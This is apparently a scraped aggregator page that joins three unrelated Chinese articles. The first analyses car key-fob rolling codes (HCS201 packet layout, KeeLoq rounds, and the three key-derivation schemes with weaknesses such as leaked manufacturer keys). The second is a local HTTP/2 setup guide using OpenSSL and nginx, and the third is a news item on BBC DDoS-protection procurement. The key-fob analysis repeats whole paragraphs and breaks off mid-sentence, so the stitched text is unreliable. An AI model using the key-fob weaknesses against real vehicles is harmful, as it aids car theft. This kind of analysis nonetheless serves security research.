使用HackCube-Special分析滚动码信号
将 GQRX 设置在常用的几个频点上观察频谱图来确定遥控工作的频点,通常的工作在 315Mhz , 433Mhz 极个别的会采用868Mhz,915Mhz这几个频点,然后观察 433.92Mhz 附近的 频谱图 在遥控发射信号时候可以很明显的看到这个频谱的变化:
使用HackCube-Special分析滚动码信号
使用HackCube-Special分析滚动码信号
我们也可以通过遥控上的 FCC ID 在相关网站上查询设备的一些信息,或者是通过遥控上 标注 的信息,通过这个基本可以确定这个遥控工作的 频点 和采用的 调制方式 等等,实在不行还能查看PCB板子上的 晶体振荡器 来算出频率等等。 信号波形
使用HackCube-Special分析滚动码信号
使用HackCube-Special分析滚动码信号
我们将采样的原始数据导入 audacity 就可以看到遥控的信号大概是这样的,可以通过采样时候的频谱和波形看出来我们采用的钥匙是经过 ASK调制 ,其中 前导码 作用是让汽车知道将有信号到来注意接收,其中 同步引导码 的作用是同步时间,但是在后面审计程序代码中发现程序把这一段 同步引导码 来确定信号的 有效性 的,然后数据传输后会将滚动码序列号功能码状态码一并发送,间隔时间是担心干扰的原因让汽车没有接收到信号所以钥匙会把信号重复发射3-4次,间隔时间就是重复信号的间隔时间,这就是整个钥匙的周期。 编码规则
使用HackCube-Special分析滚动码信号

上图是 Bit 编码的格式一个 Bit 占 3TE ,2个TE高电平信号1个TE低电平信号为 Bit0 ,1个TE高两个TE低为 Bit1 ,先发送Lsb 下面为解码实例,假设二进制数据为 01011110 因为先发送最低有效位,所以二进制数据是 0111 1010 然后二进制转化成十六进制为 0x7A 。


使用HackCube-Special分析滚动码信号
根据每个芯片型号来决定发送 数据格式 和内容,但都是大同小异本文以 HC201 举例。
使用HackCube-Special分析滚动码信号
当按下对应的 功能键(打开车门) 时程序会将对应的 4Bit功能码 , 2Bit溢出码 , 10Bit识别码 , 16Bit同步计数值 通过 Keeloq加密 生成出所谓的 滚动码 ,这就是开头 32bit 滚动码

4Bit 功能码 :代表信号执行什么功能,当信号合法就执行对应的功能如 打开车门 ,在固定码区域也传输着4Bit 功能码,但最后还是根据32Bit滚动码中的功能码来执行; 2Bit 溢出码 :作用是当同步计数值到达65535+1后溢出码增一同步计数值清零,但在审计代码中发现并没有使用该溢出码; 10Bit 识别码 :此码是取 28Bit序列号 中 最后10Bit 作为设备的识别码; 16Bit 同步计数值 :每次判断信号合法后汽车执行对应功能并将同步计数值保存下来,当新的信号到来会对比汽车保存的同步计数值,如果小于或者等于将判断信号非法,不执行任何操作,当大于保存的同步计数值,汽车执行对应功能并将同步计数值保存下来,这个在验证作为最关键的一环,这就是为什么汽车能防止 重放攻击 的关键; 28Bit序列号 :相当于每一个遥控都有一个 独立的ID ,在出厂时就会让汽车进入学习模式来保存这遥控的id和同步计数值,以后汽车可以根据此id来判断是否与汽车内部存储器中存储的ID一致,一致为 合法设备 。一辆汽车可以学习多个ID; 4Bit功能码 :作用是传输着对应的功能如打开车门,打开行李箱等等最多代表16种功能,但在后面测试中发现汽车会根据 32Bit滚动码 中的功能码为准; 2Bit状态码 :1Bit表示电池是处于一种低电压状态就是表示电池快没电了,另外1Bit代表信号是否是重复的,前面有说的设备会根据键入的时长来发送多段信号,这就是表示信号的重复可以从上面介绍来看到;最关键的一步就是通过 64Bit 的 编码秘钥 将 同步计数值,识别码,功能码 进行加密的步骤,其中使用的就是Keeloq算法。

Keeloq 加密算法 现在我们来了解下这个Keeloq算法:
使用HackCube-Special分析滚动码信号
加密流程如图所示,首先定义一个非线性表,这 个非线性表 有 5Bit 的输入码在数据寄存器中间隔均匀的取 Bit31,Bit26,Bit20,Bit9,Bit1 总共五个Bit通过NLF(Nonlinear Logic Function) 0x3A5C742E 产生 1Bit 的输出码,然后输出码在在与 Bit16,Bit0 与秘钥中的 Bit0 进行 异或运算 生成 1Bit 加密数据,然后每次生成出加密数据,秘钥位和数据位都会进行移位,秘钥作为循环移位,加密数据作为数据移位,重复上述步骤 528 次后,得到 4字节密文 。
使用HackCube-Special分析滚动码信号
使用HackCube-Special分析滚动码信号
解密运算方式与加密过程的运算方法基本一样,只是将输入码改变成 Bit30,Bit25,Bit19,Bit8,Bit0 ,总共五个Bit通过NLF (Nonlinear Logic Function) 0x3A5C742E 产生 1Bit 的输出码,然后 1Bit 输出码和 Bit31 与 Bit15 和秘钥中的 Bit15 进行 异或运算 产生出 1Bit 的解密数据,然后每次生成出解密数据,秘钥位和数据位都会进行位移,秘钥作循环移位,解密数据作为移位输入然后重复 528 轮还原 4字节明文 ,可以看出算法中最主要的就是 64Bit的编码秘钥 。 Keeloq 编码秘钥生产算法 我们来看看这个这个编码秘钥生成的机制是什么:
使用HackCube-Special分析滚动码信号
简单加密,直接把厂商秘钥当做设备的编码秘钥了。
使用HackCube-Special分析滚动码信号
标准秘钥 生成算法假设序列号为 0x1234567 ,通过标准的秘钥生成算法来定的话,首先会拿 2+序列号 通过 Keeloq的解密 操作得到 32Bit 的 Lsb 为 0x89074278 ,然后在拿 6+序列号 通过 Keeloq的解密 操作得到 32Bit Msb 值为: 0x0516FBE9 哪这个遥控的编码秘钥为 0x0516FBE989074278 ,与简单加密不同的是,使用简单加密的厂商生产出来的每个设备编码的秘钥都是 相同 的,而使用 标准秘钥 生成的根据每个遥控秘钥都 不会相同 ,意思说如果一辆车上学习了两个遥控,这两个遥控的编码秘钥都不是一样的。
使用HackCube-Special分析滚动码信号
安全秘钥生成算法假设 序列号 为 0x1234567 , 种子码 为 0x12345678 ,这个种子码是 随机 的,每个遥控的种子码都是不一样的,首先会用种子码进行 keeloq解密 操作得到 32Bit 的 Lsb 值为: 0x188646d6 ,然后在拿 6+序列号 通过 Keeloq的解密 操作得到 32Bit Msb 值为: 0xC3C83DA8 哪这个遥控的编码秘钥为 0xC3C83DA8188646d6 。简单说下这 三种加密算法 的区别,首先是简单加密直接拿厂商秘钥加密的话如果是通过 侧信道攻击 ,可以获取到 厂商秘钥 ,直接可以对其他的设备进行解密操作,然后如果是标准秘钥生成算法,因为每个遥控序列号都是不同的所以生出来的秘钥也是不同的如果使用侧信道攻击只能获取到编码秘钥就是只对这个设备有用然而对其他的设备都没有效果的,但是如果厂商秘钥被其他人获取了,因为发送信号时候会带着 28Bit的序列号 ,所以只要别人拿到了这个 厂商秘钥 就能 解密信号 ,而 安全秘钥生成算法 就不同了,即使是 厂商秘钥 被别人知道了,也只能拿到前 32位秘钥 ,后32位是根据 种子码 生成的,而种子码又是随机生成的,如果是hcs301那就要按住四个键才会把种子码给发射出来,这个种子码只有在学习模式下遥控才需要发射出来给汽车保存,之后就在也不会发射出这个 种子码 了。三种秘钥生成算法各不相同,很多厂商为了贪方便和效率认为只要有加密就可以,没有仔细的了解这三种的区别导致了安全隐患,这秘钥一旦被其他人获取,除了使用了安全秘钥生成算法能确保安全性,市面上的使用简单和标准生成算法的厂商,一旦厂商秘钥被泄露,所生产出出来的设备将不在安全,并且目前大多数是没有联网功能的,如果要升级程序更新秘钥和新的算法只能将设备回厂重新烧录或者找附近的4s店,大多数厂商因为成本和担心发生召回等事件后对名气之类的有负面影响,大多数厂商都是像鸵鸟一样把头埋在沙子了,假装听不到,一般的用户是没有办法自己升级设备程序的能力的,最关键的一环就是厂商秘钥,下面来讲讲下厂商秘钥的问题。
使用HackCube-Special分析滚动码信号
简单加密,直接把厂商秘钥当做设备的编码秘钥了。
使用HackCube-Special分析滚动码信号
标准秘钥 生成算法假设序列号为 0x1234567 ,通过标准的秘钥生成算法来定的话,首先会拿 2+序列号 通过 Keeloq的解密 操作得到 32Bit 的 Lsb 为 0x89074278 ,然后在拿 6+序列号 通过 Keeloq的解密 操作得到 32Bit Msb 值为: 0x0516FBE9 哪这个遥控的编码秘钥为 0x0516FBE989074278 ,与简单加密不同的是,使用简单加密的厂商生产出来的每个设备编码的秘钥都是 相同 的,而使用 标准秘钥 生成的根据每个遥控秘钥都 不会相同 ,意思说如果一辆车上学习了两个遥控,这两个遥控的编码秘钥都不是一样的。
使用HackCube-Special分析滚动码信号
安全秘钥生成算法假设 序列号 为 0x1234567 , 种子码 为 0x12345678 ,这个种子码是 随机 的,每个遥控的种子码都是不一样的,首先会用种子码进行 keeloq解密 操作得到 32Bit 的 Lsb 值为: 0x188646d6 ,然后在拿 6+序列号 通过 Keeloq的解密 操作得到 32Bit Msb 值为: 0xC3C83DA8 哪这个遥控的编码秘钥为 0xC3C83DA8188646d6 。简单说下这 三种加密算法 的区别,首先是简单加密直接拿厂商秘钥加密的话如果是通过

快速搭建本地HTTP/2服务

$
0
0

2015年5月HTTP/2 标准协议正式发布后,已得到绝大部分的浏览器的支持,但截止发文时使用的网站占比还不到1/3。 本文目的是为了快速搭建一个本地 HTTP/2 服务,以供研发小伙伴开发测试,从而加深对 HTTP/2 的理解。

环境 OpenSSL : 1.0.2q Nginx : 1.15.7 步骤 生成本地根证书: # 使用AES256-bit编码加密生成4096位的根秘钥 openssl genrsa -aes256 -out rootCA.key 4096 Enter pass phrase for rootCA.key: password Verifying - Enter pass phrase for rootCA.key: password 复制代码

各参数可以查看 man ca 或者 查阅这里。

# 使用根秘钥生成根证书 openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 1024 -out rootCA.pem Enter pass phrase for rootCA.key: password You are about to be asked to enter information that will be incorporated ... ----- Country Name (2 letter code) [AU]:CN State or Province Name (full name) [Some-State]:Beijing Locality Name (eg, city) []:Beijing Organization Name (eg, company) [Internet Widgits Pty Ltd]:Lovecoding.org Organizational Unit Name (eg, section) []:Lovecoding CA Common Name (e.g. server FQDN or YOUR name) []:Lovecoding ROOT CA Email Address []: Generating a RSA private key 复制代码 生成本地自签证书 #生成自签秘钥 openssl req -new -sha256 -nodes -out server.csr -newkey rsa:2048 -keyout server.key -config server.csr.cnf #生成自签证书 openssl x509 -req -in server.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out server.crt -days 600 -sha256 -extfile v3.ext 复制代码

其中 server.csr.cnf :

[ req ] default_bits = 2048 prompt = no default_md = sha256 distinguished_name = req_distinguished_name [ req_distinguished_name ] C = CN ST = Beijing L = Beijing O = MyOrganization OU = MyOrganizationUnit emailAddress = lovecoding@example.com CN = localhost 复制代码

v3.ext :

authorityKeyIdentifier=keyid,issuer basicConstraints=CA:FALSE keyUsage=digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment subjectAltName=@alt_names [alt_names] DNS.1=localhost 复制代码 配置nginx

将 server.crt 和 server.key 添加到nginx:

server { listen [::]:443 ssl http2 ipv6only=on; listen 443 ssl http2; ssl_certificate /etc/nginx/certs/server.crt; ssl_certificate_key /etc/nginx/certs/server.key; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers HIGH:!aNULL:!MD5; ssl_session_cache shared:SSL:1m; server_name localhost; ... 复制代码

重启nginx:

sudo nginx -t sudo nginx -s reload 复制代码 信任自签证书

首次打开网页时,会提示证书无效,那么将自签的证书加入信任列表即可:

Mac OS : sudo security add-trusted-cert -d -r trustAsRoot -k /Library/Keychains/System.keychain server.crt 复制代码 Ubuntu : sudo cp server.crt /usr/local/share/ca-certificates/server.crt sudo update-ca-certificates 复制代码

其他系统可以查阅这里。

此时打开浏览器可以看到:


快速搭建本地HTTP/2服务

说明自签证书已有效,并支持 HTTP/2 服务。

总结

本文介绍了本地快速搭建 HTTP/2 服务,希望对研发伙伴有所帮助。目前所有代码都已放到 local-http2 ,喜欢的同学可以 Star :)。 还有HTTP/3草案已出,感兴趣的可以了解一下。

参考 local-cert-generator OpenSSL Certificate Authority How to create csr using Openssl without prompt Adding trusted root certificates to the server

BBC拿出50万英镑寻求顶级DDoS防护

$
0
0

全球知名新闻媒体BBC正寻求能助其抵御分布式拒绝服务(DDoS)攻击的软件,为此出价 50万英镑 。


BBC拿出50万英镑寻求顶级DDoS防护

该广播公司既想扛得住基于容量的大型持续性网络攻击,又不想观众的BBC在线服务体验受到哪怕一点点影响。

BBC这次想签的DDoS防护合约为期3年,可延长至5年。

本公司的互联网网络承载着BBC所有面向观众的流量和内容分发服务(CDN)源流量。此外,该网络还是BBC公司网络流量的中转站。

其在12月21日发布的采购公告中强调:该网络及其所交付服务的可用性,是保障 www.bbc.co.uk 和 BBC iPlayer 等BBC重要在线服务的关键。

NETSCOUT欧洲、中东及非洲首席安全技术专家 Kirill Kasavchenko 表示:如果没有进一步要求的话,这听起来像是比较合理的预算。毕竟提供商需要为人员、软件、设备付账;他们实际上是‘买下’BBC的流量来做清洗。

DDoS缓解服务通常将攻击客户的流量导向“清洗”数据中心加以排除和屏蔽恶意数据包。

Kasavchenko称:

今年2月出现了史上最大DDoS攻击:1.7Tbs(NETSCOUT安全部门Arbor的系统检测到的某美国客户所受缓存反射/放大攻击)。这种级别的攻击前所未有,但100Gbs到500Gbs的攻击就相当常见了。

NETSCOUT公司注意到了DDoS攻击的周期性本质,点出攻击者越来越在意攻击的复杂性,利用IoT设备武器化技术的同时渐渐摆脱对大规模攻击的依赖。

BBC DDoS 缓解:1月24日见分晓

采购过程将在1月24日落下帷幕。BBC可能邀请其技术合作伙伴Atos协助梳理各类需求,但最终决策还是BBC自己定夺。

佛瑞斯特研究所的DDoS缓解工具排行榜前五(按字母顺序)分别是:阿卡迈、Arbor Networks(如今是 NETSCOUT Arbor )、Cloudflare、Imperva和Radware。

佛瑞斯特研究所2017第四季度DDoS解决方案排名:

https://www.cloudflare.com/media/pdf/forrester-wave-ddos-mitigation-solutions-q4-2017.pdf

Viewing all 12749 articles
Browse latest View live